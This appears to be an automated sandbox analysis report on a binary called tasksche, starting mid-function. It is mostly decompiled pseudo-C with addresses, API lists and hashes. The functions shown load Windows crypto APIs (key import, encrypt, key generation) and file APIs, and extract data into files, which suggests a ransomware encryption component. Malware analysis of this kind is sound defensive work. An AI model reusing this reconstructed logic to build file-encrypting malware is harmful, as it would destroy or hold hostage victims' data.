								 *_t240 =  *(0x40a3fc + _v44 * 4) ^  *(0x40a7fc + ( *(_t275 + 0x454 + (_v40 + _a4) % _t274 * 4) & 0x000000ff) * 4) ^  *0x00409FFC ^  *0x00409BFC ^  *_v8;
								_t240 =  &(_t240[1]);
								_a4 = _a4 + 1;
								_t84 =  &_v20;
								 *_t84 = _v20 - 1;
							} while ( *_t84 != 0);
						}
						memcpy(_t275 + 0x454, _t275 + 0x434, _t274 << 2);
						_v12 = _v12 + 0x20;
						_t276 = _t276 + 0xc;
						_v16 = _v16 + 1;
						_t158 = _v16;
					} while (_t158 <  *(_t275 + 0x410));
				}
				_v8 = _v8 & 0x00000000;
				if(_t274 > 0) {
					_t236 = _a8;
					_t219 = _v24;
					_a8 = _t275 + 0x454;
					_v44 = _v28 - _t219;
					_v40 = _v32 - _t219;
					do {
						_a8 =  &(_a8[4]);
						_a4 =  *((intOrPtr*)(_t275 + 0x1e8 + (_v8 +  *(_t275 + 0x410) * 8) * 4));
						 *_t236 =  *0x00408AFC ^ _a4 >> 0x00000018;
						_t237 =  &(_t236[1]);
						asm("cdq");
						 *_t237 =  *0x00408AFC ^ _a4 >> 0x00000010;
						asm("cdq");
						_t238 =  &(_t237[1]);
						 *_t238 =  *0x00408AFC ^ _a4 >> 0x00000008;
						_t239 =  &(_t238[1]);
						asm("cdq");
						_t158 =  *(( *(_t275 + 0x454 + (_v40 + _t219) % _t274 * 4) & 0x000000ff) + 0x408afc) ^ _a4;
						 *_t239 = _t158;
						_t236 =  &(_t239[1]);
						_v8 = _v8 + 1;
						_t219 = _t219 + 1;
					} while (_v8 < _t274);
				}
				return _t158;
			}


































                    0x0040379f
                    0x004037a6
                    0x004037b0
                    0x004037b9
                    0x004037be
                    0x004037bf
                    0x004037bf
                    0x004037c4
                    0x004037cd
                    0x00000000
                    0x004037d7
                    0x004037e3
                    0x004037e4
                    0x004037e5
                    0x004037e7
                    0x004037f6
                    0x004037fa
                    0x00403805
                    0x00403814
                    0x00403817
                    0x0040381a
                    0x00403820
                    0x00403828
                    0x0040382b
                    0x0040382e
                    0x00403831
                    0x00403837
                    0x00403838
                    0x00403840
                    0x00403849
                    0x0040384a
                    0x0040384f
                    0x00403854
                    0x00403858
                    0x0040385b
                    0x0040385e
                    0x00403860
                    0x00403860
                    0x00403860
                    0x00403831
                    0x00403867
                    0x0040386e
                    0x00403871
                    0x0040387d
                    0x00403880
                    0x00403882
                    0x0040388b
                    0x0040388e
                    0x00403896
                    0x00403899
                    0x004038a1
                    0x004038a7
                    0x004038aa
                    0x004038ad
                    0x004038b5
                    0x004038c8
                    0x004038cb
                    0x004038ee
                    0x00403910
                    0x00403916
                    0x00403918
                    0x0040391b
                    0x0040391e
                    0x0040391e
                    0x0040391e
                    0x004038ad
                    0x00403937
                    0x0040393c
                    0x00403940
                    0x00403943
                    0x00403946
                    0x00403949
                    0x00403880
                    0x00403955
                    0x0040395b
                    0x00403961
                    0x00403964
                    0x0040396d
                    0x00403975
                    0x0040397d
                    0x00403980
                    0x0040398f
                    0x0040399a
                    0x004039b0
                    0x004039b7
                    0x004039b8
                    0x004039d2
                    0x004039d6
                    0x004039db
                    0x004039f1
                    0x004039f8
                    0x004039f9
                    0x00403a0e
                    0x00403a11
                    0x00403a13
                    0x00403a14
                    0x00403a17
                    0x00403a18
                    0x00403980
                    0x00403a25

                    APIs
                    • ??0exception@@QAE@ABQBD@Z.MSVCRT(0040F570,?,?,?,?,?,?,?,?,?,?,00403B9C,?,?,?), ref: 004037B0
                    • _CxxThrowException.MSVCRT(?,0040D570,?,?,?,?,?,?,?,00403B9C,?,?,?), ref: 004037BF
                    • memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,00403B9C,?,?), ref: 00403937
                    Strings
                    Memory Dump Source
                    • Source File: 00000016.00000002.538456355.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000016.00000002.538442310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538487624.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538519387.000000000040E000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538530695.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_22_2_400000_tasksche.jbxd
                    Yara matches
                    Similarity
                    • API ID: ??0exception@@ExceptionThrowmemcpy
                    • String ID:
                    • API String ID: 2382887404-3916222277
                    • Opcode ID: f4b5f5b39d3fd1fccf69c885608927ed404fa65085bd71c262b9c8f9e9248758
                    • Instruction ID: 1cfba4d829132d5223a2741c68a06c6b284a50eb41fad236877f379c856cacdf
                    • Opcode Fuzzy Hash: f4b5f5b39d3fd1fccf69c885608927ed404fa65085bd71c262b9c8f9e9248758
                    • Instruction Fuzzy Hash: B991C375A002499FCB05CF69C480AEEBBF5FF89315F2480AEE595E7342C234AA45CF58
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 004029CC Relevance: 3.8, APIs: 3, Instructions: 55memoryCOMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E004029CC(void* _a4) {
				void* _t17;
				intOrPtr _t18;
				intOrPtr _t23;
				intOrPtr _t25;
				signed int _t35;
				void* _t37;

				_t37 = _a4;
				if(_t37 != 0) {
					if( *((intOrPtr*)(_t37 + 0x10)) != 0) {
						_t25 =  *((intOrPtr*)(_t37 + 4));
						 *((intOrPtr*)( *((intOrPtr*)( *_t37 + 0x28)) + _t25))(_t25, 0, 0);
					}
					if( *(_t37 + 8) == 0) {
						L9:
						_t18 =  *((intOrPtr*)(_t37 + 4));
						if(_t18 != 0) {
							 *((intOrPtr*)(_t37 + 0x20))(_t18, 0, 0x8000,  *((intOrPtr*)(_t37 + 0x30)));
						}
						return HeapFree(GetProcessHeap(), 0, _t37);
					} else {
						_t35 = 0;
						if( *((intOrPtr*)(_t37 + 0xc)) <= 0) {
							L8:
							free( *(_t37 + 8));
							goto L9;
						} else {
							goto L5;
						}
						do {
							L5:
							_t23 =  *((intOrPtr*)( *(_t37 + 8) + _t35 * 4));
							if(_t23 != 0) {
								 *((intOrPtr*)(_t37 + 0x2c))(_t23,  *((intOrPtr*)(_t37 + 0x30)));
							}
							_t35 = _t35 + 1;
						} while (_t35 <  *((intOrPtr*)(_t37 + 0xc)));
						goto L8;
					}
				}
				return _t17;
			}









                    0x004029ce
                    0x004029d6
                    0x004029db
                    0x004029df
                    0x004029ea
                    0x004029ea
                    0x004029ef
                    0x00402a1d
                    0x00402a1d
                    0x00402a22
                    0x00402a2e
                    0x00402a31
                    0x00000000
                    0x004029f1
                    0x004029f2
                    0x004029f7
                    0x00402a12
                    0x00402a15
                    0x00000000
                    0x00000000
                    0x00000000
                    0x00000000
                    0x004029f9
                    0x004029f9
                    0x004029fc
                    0x00402a01
                    0x00402a07
                    0x00402a0b
                    0x00402a0c
                    0x00402a0d
                    0x00000000
                    0x004029f9
                    0x004029ef
                    0x00402a45

                    APIs
                    • free.MSVCRT(?,00402198,00000000,00000000,0040243C,00000000), ref: 00402A15
                    • GetProcessHeap.KERNEL32(00000000,00000000,00000000,00000000,0040243C,00000000), ref: 00402A36
                    • HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,00402185,00402198,004021A3,004021B2,00000000), ref: 00402A3D
                    Memory Dump Source
                    • Source File: 00000016.00000002.538456355.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000016.00000002.538442310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538487624.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538519387.000000000040E000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538530695.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_22_2_400000_tasksche.jbxd
                    Yara matches
                    Similarity
                    • API ID: Heap$FreeProcessfree
                    • String ID:
                    • API String ID: 3428986607-0
                    • Opcode ID: 67af2f346d87749f9cdb855264ac8d2816ecbe8db690f3f12af5f99a0e11ec4c
                    • Instruction ID: 6307eaad725422957632c7c85bafc458d1caddc7471a2505469f2591130cc2ff
                    • Opcode Fuzzy Hash: 67af2f346d87749f9cdb855264ac8d2816ecbe8db690f3f12af5f99a0e11ec4c
                    • Instruction Fuzzy Hash: C4010C72600A019FCB309FA5DE88967B7E9FF48321354483EF196A2591CB75F841CF58
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 004018B9 Relevance: 1.5, APIs: 1, Instructions: 25encryptionCOMMON
                    Download Yara Rule
                    C-Code - Quality: 16%
                    			E004018B9(void* __ecx) {
				signed int _t10;
				signed int _t11;
				long* _t12;
				void* _t13;
				void* _t18;

				_t18 = __ecx;
				_t10 =  *(__ecx + 8);
				if(_t10 != 0) {
					 *0x40f89c(_t10);
					 *(__ecx + 8) =  *(__ecx + 8) & 0x00000000;
				}
				_t11 =  *(_t18 + 0xc);
				if(_t11 != 0) {
					 *0x40f89c(_t11);
					 *(_t18 + 0xc) =  *(_t18 + 0xc) & 0x00000000;
				}
				_t12 =  *(_t18 + 4);
				if(_t12 != 0) {
					CryptReleaseContext(_t12, 0);
					 *(_t18 + 4) =  *(_t18 + 4) & 0x00000000;
				}
				_t13 = 1;
				return _t13;
			}








                    0x004018ba
                    0x004018bc
                    0x004018c1
                    0x004018c4
                    0x004018ca
                    0x004018ca
                    0x004018ce
                    0x004018d3
                    0x004018d6
                    0x004018dc
                    0x004018dc
                    0x004018e0
                    0x004018e5
                    0x004018ea
                    0x004018f0
                    0x004018f0
                    0x004018f6
                    0x004018f8

                    APIs
                    • CryptReleaseContext.ADVAPI32(?,00000000,?,004013DB,?,?,?,0040139D,?,?,00401366), ref: 004018EA
                    Memory Dump Source
                    • Source File: 00000016.00000002.538456355.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000016.00000002.538442310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538487624.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538519387.000000000040E000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538530695.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_22_2_400000_tasksche.jbxd
                    Yara matches
                    Similarity
                    • API ID: ContextCryptRelease
                    • String ID:
                    • API String ID: 829835001-0
                    • Opcode ID: 5ecafc68ca33f8cfa3c4e9ed1ded46982a6db61dfcb788b9f393b121ae522fda
                    • Instruction ID: 2349b07d823645f04250185dd133334db1216db109592f97c32ed3e6f6040a2b
                    • Opcode Fuzzy Hash: 5ecafc68ca33f8cfa3c4e9ed1ded46982a6db61dfcb788b9f393b121ae522fda
                    • Instruction Fuzzy Hash: C7E0ED323147019BEB30AB65ED49B5373E8AF00762F04C83DB05AE6990CBB9E8448A58
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 0040170A Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 65libraryloaderCOMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E0040170A() {
				void* _t3;
				_Unknown_base(*)()* _t11;
				struct HINSTANCE__* _t13;
				intOrPtr _t18;
				intOrPtr _t20;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t23;
				intOrPtr _t24;
				intOrPtr _t25;

				if(E00401A45() == 0) {
					L11:
					return 0;
				}
				_t18 =  *0x40f878; // 0x0
				if(_t18 != 0) {
					L10:
					_t3 = 1;
					return _t3;
				}
				_t13 = LoadLibraryA("kernel32.dll");
				if(_t13 == 0) {
					goto L11;
				}
				 *0x40f878 = GetProcAddress(_t13, "CreateFileW");
				 *0x40f87c = GetProcAddress(_t13, "WriteFile");
				 *0x40f880 = GetProcAddress(_t13, "ReadFile");
				 *0x40f884 = GetProcAddress(_t13, "MoveFileW");
				 *0x40f888 = GetProcAddress(_t13, "MoveFileExW");
				 *0x40f88c = GetProcAddress(_t13, "DeleteFileW");
				_t11 = GetProcAddress(_t13, "CloseHandle");
				_t20 =  *0x40f878; // 0x0
				 *0x40f890 = _t11;
				if(_t20 == 0) {
					goto L11;
				}
				_t21 =  *0x40f87c; // 0x0
				if(_t21 == 0) {
					goto L11;
				}
				_t22 =  *0x40f880; // 0x0
				if(_t22 == 0) {
					goto L11;
				}
				_t23 =  *0x40f884; // 0x0
				if(_t23 == 0) {
					goto L11;
				}
				_t24 =  *0x40f888; // 0x0
				if(_t24 == 0) {
					goto L11;
				}
				_t25 =  *0x40f88c; // 0x0
				if(_t25 == 0 || _t11 == 0) {
					goto L11;
				} else {
					goto L10;
				}
			}













                    0x00401713
                    0x004017d8
                    0x00000000
                    0x004017d8
                    0x0040171b
                    0x00401721
                    0x004017d3
                    0x004017d5
                    0x00000000
                    0x004017d5
                    0x00401732
                    0x00401736
                    0x00000000
                    0x00000000
                    0x00401751
                    0x0040175e
                    0x0040176b
                    0x00401778
                    0x00401785
                    0x00401792
                    0x00401797
                    0x00401799
                    0x0040179f
                    0x004017a5
                    0x00000000
                    0x00000000
                    0x004017a7
                    0x004017ad
                    0x00000000
                    0x00000000
                    0x004017af
                    0x004017b5
                    0x00000000
                    0x00000000
                    0x004017b7
                    0x004017bd
                    0x00000000
                    0x00000000
                    0x004017bf
                    0x004017c5
                    0x00000000
                    0x00000000
                    0x004017c7
                    0x004017cd
                    0x00000000
                    0x00000000
                    0x00000000
                    0x00000000

                    APIs
                      • Part of subcall function 00401A45: LoadLibraryA.KERNEL32(advapi32.dll,?,?,00401711), ref: 00401A5A
                      • Part of subcall function 00401A45: GetProcAddress.KERNEL32(00000000,CryptAcquireContextA,?,?,?,00401711), ref: 00401A77
                      • Part of subcall function 00401A45: GetProcAddress.KERNEL32(00000000,CryptImportKey,?,?,?,00401711), ref: 00401A84
                      • Part of subcall function 00401A45: GetProcAddress.KERNEL32(00000000,CryptDestroyKey,?,?,?,00401711), ref: 00401A91
                      • Part of subcall function 00401A45: GetProcAddress.KERNEL32(00000000,CryptEncrypt,?,?,?,00401711), ref: 00401A9E
                      • Part of subcall function 00401A45: GetProcAddress.KERNEL32(00000000,CryptDecrypt,?,?,?,00401711), ref: 00401AAB
                      • Part of subcall function 00401A45: GetProcAddress.KERNEL32(00000000,CryptGenKey,?,?,?,00401711), ref: 00401AB8
                    • LoadLibraryA.KERNEL32(kernel32.dll), ref: 0040172C
                    • GetProcAddress.KERNEL32(00000000,CreateFileW), ref: 00401749
                    • GetProcAddress.KERNEL32(00000000,WriteFile), ref: 00401756
                    • GetProcAddress.KERNEL32(00000000,ReadFile), ref: 00401763
                    • GetProcAddress.KERNEL32(00000000,MoveFileW), ref: 00401770
                    • GetProcAddress.KERNEL32(00000000,MoveFileExW), ref: 0040177D
                    • GetProcAddress.KERNEL32(00000000,DeleteFileW), ref: 0040178A
                    • GetProcAddress.KERNEL32(00000000,CloseHandle), ref: 00401797
                    Strings
                    Memory Dump Source
                    • Source File: 00000016.00000002.538456355.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000016.00000002.538442310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538487624.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538519387.000000000040E000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538530695.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_22_2_400000_tasksche.jbxd
                    Yara matches
                    Similarity
                    • API ID: AddressProc$LibraryLoad
                    • String ID: CloseHandle$CreateFileW$DeleteFileW$MoveFileExW$MoveFileW$ReadFile$WriteFile$kernel32.dll
                    • API String ID: 2238633743-1294736154
                    • Opcode ID: 39239a652de09aa7f9a0fc3aed99621d6525255b515761ed1c17c464bdaba5bf
                    • Instruction ID: c344c10c919c95db3ecd10b94979b50738023765c799e55a58251b06a1d00095
                    • Opcode Fuzzy Hash: 39239a652de09aa7f9a0fc3aed99621d6525255b515761ed1c17c464bdaba5bf
                    • Instruction Fuzzy Hash: D9118E729003059ACB30BF73AE84A577AF8A644751B64483FE501B3EF0D77894499E1E
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00401A45 Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 56libraryloaderCOMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E00401A45() {
				void* _t1;
				_Unknown_base(*)()* _t9;
				struct HINSTANCE__* _t11;
				intOrPtr _t15;
				intOrPtr _t17;
				intOrPtr _t18;
				intOrPtr _t19;
				intOrPtr _t20;
				intOrPtr _t21;

				_t15 =  *0x40f894; // 0x0
				if(_t15 != 0) {
					L8:
					_t1 = 1;
					return _t1;
				}
				_t11 = LoadLibraryA("advapi32.dll");
				if(_t11 == 0) {
					L9:
					return 0;
				}
				 *0x40f894 = GetProcAddress(_t11, "CryptAcquireContextA");
				 *0x40f898 = GetProcAddress(_t11, "CryptImportKey");
				 *0x40f89c = GetProcAddress(_t11, "CryptDestroyKey");
				 *0x40f8a0 = GetProcAddress(_t11, "CryptEncrypt");
				 *0x40f8a4 = GetProcAddress(_t11, "CryptDecrypt");
				_t9 = GetProcAddress(_t11, "CryptGenKey");
				_t17 =  *0x40f894; // 0x0
				 *0x40f8a8 = _t9;
				if(_t17 == 0) {
					goto L9;
				}
				_t18 =  *0x40f898; // 0x0
				if(_t18 == 0) {
					goto L9;
				}
				_t19 =  *0x40f89c; // 0x0
				if(_t19 == 0) {
					goto L9;
				}
				_t20 =  *0x40f8a0; // 0x0
				if(_t20 == 0) {
					goto L9;
				}
				_t21 =  *0x40f8a4; // 0x0
				if(_t21 == 0 || _t9 == 0) {
					goto L9;
				} else {
					goto L8;
				}
			}












                    0x00401a48
                    0x00401a4f
                    0x00401aec
                    0x00401aee
                    0x00000000
                    0x00401aee
                    0x00401a60
                    0x00401a64
                    0x00401af1
                    0x00000000
                    0x00401af1
                    0x00401a7f
                    0x00401a8c
                    0x00401a99
                    0x00401aa6
                    0x00401ab3
                    0x00401ab8
                    0x00401aba
                    0x00401ac0
                    0x00401ac6
                    0x00000000
                    0x00000000
                    0x00401ac8
                    0x00401ace
                    0x00000000
                    0x00000000
                    0x00401ad0
                    0x00401ad6
                    0x00000000
                    0x00000000
                    0x00401ad8
                    0x00401ade
                    0x00000000
                    0x00000000
                    0x00401ae0
                    0x00401ae6
                    0x00000000
                    0x00000000
                    0x00000000
                    0x00000000

                    APIs
                    • LoadLibraryA.KERNEL32(advapi32.dll,?,?,00401711), ref: 00401A5A
                    • GetProcAddress.KERNEL32(00000000,CryptAcquireContextA,?,?,?,00401711), ref: 00401A77
                    • GetProcAddress.KERNEL32(00000000,CryptImportKey,?,?,?,00401711), ref: 00401A84
                    • GetProcAddress.KERNEL32(00000000,CryptDestroyKey,?,?,?,00401711), ref: 00401A91
                    • GetProcAddress.KERNEL32(00000000,CryptEncrypt,?,?,?,00401711), ref: 00401A9E
                    • GetProcAddress.KERNEL32(00000000,CryptDecrypt,?,?,?,00401711), ref: 00401AAB
                    • GetProcAddress.KERNEL32(00000000,CryptGenKey,?,?,?,00401711), ref: 00401AB8
                    Strings
                    Memory Dump Source
                    • Source File: 00000016.00000002.538456355.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000016.00000002.538442310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538487624.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538519387.000000000040E000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538530695.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_22_2_400000_tasksche.jbxd
                    Yara matches
                    Similarity
                    • API ID: AddressProc$LibraryLoad
                    • String ID: CryptAcquireContextA$CryptDecrypt$CryptDestroyKey$CryptEncrypt$CryptGenKey$CryptImportKey$advapi32.dll
                    • API String ID: 2238633743-2459060434
                    • Opcode ID: b9d8274d123a30a539352919ce36730ce9328d7041a45cd95e79278e35d60e58
                    • Instruction ID: 9aae3444cc52ced5e7e1ad1d2a06d11cf911cb2b3a933a05a08c6ba10b936042
                    • Opcode Fuzzy Hash: b9d8274d123a30a539352919ce36730ce9328d7041a45cd95e79278e35d60e58
                    • Instruction Fuzzy Hash: 20011E32A86311EBDB30AFA5AE856677AE4EA41750368843FB104B2DB1D7F81448DE5C
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00407136 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 272COMMON
                    Download Yara Rule
                    C-Code - Quality: 88%
                    			E00407136(intOrPtr* __ecx, void* __edx, void* _a4, char _a7, char* _a8, char _a11, signed int _a12, intOrPtr _a16) {
				long _v8;
				char _v267;
				char _v268;
				struct _FILETIME _v284;
				struct _FILETIME _v292;
				struct _FILETIME _v300;
				long _v304;
				char _v568;
				char _v828;
				intOrPtr _t78;
				intOrPtr _t89;
				intOrPtr _t91;
				intOrPtr _t96;
				intOrPtr _t97;
				char _t100;
				void* _t112;
				void* _t113;
				int _t124;
				long _t131;
				intOrPtr _t136;
				char* _t137;
				char* _t144;
				void* _t148;
				char* _t150;
				void* _t154;
				signed int _t155;
				long _t156;
				void* _t157;
				char* _t158;
				long _t159;
				intOrPtr* _t161;
				long _t162;
				void* _t163;
				void* _t164;

				_t154 = __edx;
				_t139 = __ecx;
				_t136 = _a16;
				_t161 = __ecx;
				if(_t136 == 3) {
					_t78 =  *((intOrPtr*)(__ecx + 4));
					_t155 = _a4;
					__eflags = _t155 - _t78;
					if(_t155 == _t78) {
						L14:
						_t156 = E00406880(_t139,  *_t161, _a8, _a12,  &_a7);
						__eflags = _t156;
						if(_t156 <= 0) {
							E00406A97( *_t161);
							_t14 = _t161 + 4;
							 *_t14 =  *(_t161 + 4) | 0xffffffff;
							__eflags =  *_t14;
						}
						__eflags = _a7;
						if(_a7 == 0) {
							__eflags = _t156;
							if(_t156 <= 0) {
								__eflags = _t156 - 0xffffff96;
								return ((0 | _t156 != 0xffffff96) - 0x00000001 & 0xfb001000) + 0x5000000;
							}
							return 0x600;
						} else {
							L17:
							return 0;
						}
					}
					__eflags = _t78 - 0xffffffff;
					if(_t78 != 0xffffffff) {
						E00406A97( *__ecx);
						_pop(_t139);
					}
					_t89 =  *_t161;
					 *(_t161 + 4) =  *(_t161 + 4) | 0xffffffff;
					__eflags = _t155 -  *((intOrPtr*)(_t89 + 4));
					if(_t155 >=  *((intOrPtr*)(_t89 + 4))) {
						L3:
						return 0x10000;
					} else {
						__eflags = _t155 -  *((intOrPtr*)(_t89 + 0x10));
						if(_t155 >=  *((intOrPtr*)(_t89 + 0x10))) {
							L11:
							_t91 =  *_t161;
							__eflags =  *((intOrPtr*)(_t91 + 0x10)) - _t155;
							if( *((intOrPtr*)(_t91 + 0x10)) >= _t155) {
								E0040671D(_t154,  *_t161,  *((intOrPtr*)(_t161 + 0x138)));
								 *(_t161 + 4) = _t155;
								_pop(_t139);
								goto L14;
							}
							E00406520(_t91);
							L10:
							goto L11;
						}
						E004064E2(_t139, _t89);
						goto L10;
					}
				}
				if(_t136 == 2 || _t136 == 1) {
					__eflags =  *(_t161 + 4) - 0xffffffff;
					if( *(_t161 + 4) != 0xffffffff) {
						E00406A97( *_t161);
						_pop(_t139);
					}
					_t96 =  *_t161;
					_t157 = _a4;
					 *(_t161 + 4) =  *(_t161 + 4) | 0xffffffff;
					__eflags = _t157 -  *((intOrPtr*)(_t96 + 4));
					if(_t157 >=  *((intOrPtr*)(_t96 + 4))) {
						goto L3;
					} else {
						__eflags = _t157 -  *((intOrPtr*)(_t96 + 0x10));
						if(_t157 >=  *((intOrPtr*)(_t96 + 0x10))) {
							L27:
							_t97 =  *_t161;
							__eflags =  *((intOrPtr*)(_t97 + 0x10)) - _t157;
							if( *((intOrPtr*)(_t97 + 0x10)) >= _t157) {
								E00406C40(_t161, _t154, _t157,  &_v568);
								__eflags = _v304 & 0x00000010;
								if((_v304 & 0x00000010) == 0) {
									__eflags = _t136 - 1;
									if(_t136 != 1) {
										_t158 = _a8;
										_t137 = _t158;
										_t144 = _t158;
										_t100 =  *_t158;
										while(1) {
											__eflags = _t100;
											if(_t100 == 0) {
												break;
											}
											__eflags = _t100 - 0x2f;
											if(_t100 == 0x2f) {
												L44:
												_t137 =  &(_t144[1]);
												L45:
												_t100 = _t144[1];
												_t144 =  &(_t144[1]);
												continue;
											}
											__eflags = _t100 - 0x5c;
											if(_t100 != 0x5c) {
												goto L45;
											}
											goto L44;
										}
										strcpy( &_v268, _t158);
										__eflags = _t137 - _t158;
										if(_t137 != _t158) {
											 *(_t163 + _t137 - _t158 - 0x108) =  *(_t163 + _t137 - _t158 - 0x108) & 0x00000000;
											__eflags = _v268 - 0x2f;
											if(_v268 == 0x2f) {
												L56:
												wsprintfA( &_v828, "%s%s",  &_v268, _t137);
												E00407070(0,  &_v268);
												_t164 = _t164 + 0x18;
												L49:
												__eflags = 0;
												_t112 = CreateFileA( &_v828, 0x40000000, 0, 0, 2, _v304, 0);
												L50:
												__eflags = _t112 - 0xffffffff;
												_a4 = _t112;
												if(_t112 != 0xffffffff) {
													_t113 = E0040671D(_t154,  *_t161,  *((intOrPtr*)(_t161 + 0x138)));
													__eflags =  *(_t161 + 0x13c);
													_pop(_t148);
													if( *(_t161 + 0x13c) == 0) {
														L00407700();
														_t148 = 0x4000;
														 *(_t161 + 0x13c) = _t113;
													}
													_t60 =  &_a12;
													 *_t60 = _a12 & 0x00000000;
													__eflags =  *_t60;
													while(1) {
														_t159 = E00406880(_t148,  *_t161,  *(_t161 + 0x13c), 0x4000,  &_a11);
														_t164 = _t164 + 0x10;
														__eflags = _t159 - 0xffffff96;
														if(_t159 == 0xffffff96) {
															break;
														}
														__eflags = _t159;
														if(__eflags < 0) {
															L68:
															_a12 = 0x5000000;
															L71:
															__eflags = _a16 - 1;
															if(_a16 != 1) {
																CloseHandle(_a4);
															}
															E00406A97( *_t161);
															return _a12;
														}
														if(__eflags <= 0) {
															L64:
															__eflags = _a11;
															if(_a11 != 0) {
																SetFileTime(_a4,  &_v292,  &_v300,  &_v284);
																goto L71;
															}
															__eflags = _t159;
															if(_t159 == 0) {
																goto L68;
															}
															continue;
														}
														_t124 = WriteFile(_a4,  *(_t161 + 0x13c), _t159,  &_v8, 0);
														__eflags = _t124;
														if(_t124 == 0) {
															_a12 = 0x400;
															goto L71;
														}
														goto L64;
													}
													_a12 = 0x1000;
													goto L71;
												}
												return 0x200;
											}
											__eflags = _v268 - 0x5c;
											if(_v268 == 0x5c) {
												goto L56;
											}
											__eflags = _v268;
											if(_v268 == 0) {
												L48:
												_t160 = _t161 + 0x140;
												wsprintfA( &_v828, "%s%s%s", _t161 + 0x140,  &_v268, _t137);
												E00407070(_t160,  &_v268);
												_t164 = _t164 + 0x1c;
												goto L49;
											}
											__eflags = _v267 - 0x3a;
											if(_v267 != 0x3a) {
												goto L48;
											}
											goto L56;
										}
										_t37 =  &_v268;
										 *_t37 = _v268 & 0x00000000;
										__eflags =  *_t37;
										goto L48;
									}
									_t112 = _a8;
									goto L50;
								}
								__eflags = _t136 - 1;
								if(_t136 == 1) {
									goto L17;
								}
								_t150 = _a8;
								_t131 =  *_t150;
								__eflags = _t131 - 0x2f;
								if(_t131 == 0x2f) {
									L35:
									_push(_t150);
									_push(0);
									L37:
									E00407070();
									goto L17;
								}
								__eflags = _t131 - 0x5c;
								if(_t131 == 0x5c) {
									goto L35;
								}
								__eflags = _t131;
								if(_t131 == 0) {
									L36:
									_t162 = _t161 + 0x140;
									__eflags = _t162;
									_push(_t150);
									_push(_t162);
									goto L37;
								}
								__eflags = _t150[1] - 0x3a;
								if(_t150[1] != 0x3a) {
									goto L36;
								}
								goto L35;
							}
							E00406520(_t97);
							L26:
							goto L27;
						}
						E004064E2(_t139, _t96);
						goto L26;
					}
				} else {
					goto L3;
				}
			}





































                    0x00407136
                    0x00407136
                    0x00407140
                    0x00407148
                    0x0040714a
                    0x00407168
                    0x0040716b
                    0x0040716e
                    0x00407170
                    0x004071b7
                    0x004071c8
                    0x004071cd
                    0x004071cf
                    0x004071d3
                    0x004071d8
                    0x004071d8
                    0x004071d8
                    0x004071dc
                    0x004071dd
                    0x004071e1
                    0x004071ea
                    0x004071ec
                    0x004071fa
                    0x00000000
                    0x00407206
                    0x00000000
                    0x004071e3
                    0x004071e3
                    0x00000000
                    0x004071e3
                    0x004071e1
                    0x00407172
                    0x00407175
                    0x00407179
                    0x0040717e
                    0x0040717e
                    0x0040717f
                    0x00407181
                    0x00407185
                    0x00407188
                    0x0040715e
                    0x00000000
                    0x0040718a
                    0x0040718a
                    0x0040718d
                    0x00407196
                    0x00407196
                    0x00407198
                    0x0040719b
                    0x004071ad
                    0x004071b3
                    0x004071b6
                    0x00000000
                    0x004071b6
                    0x0040719e
                    0x00407195
                    0x00000000
                    0x00407195
                    0x00407190
                    0x00000000
                    0x00407190
                    0x00407188
                    0x0040714f
                    0x00407210
                    0x00407214
                    0x00407218
                    0x0040721d
                    0x0040721d
                    0x0040721e
                    0x00407220
                    0x00407223
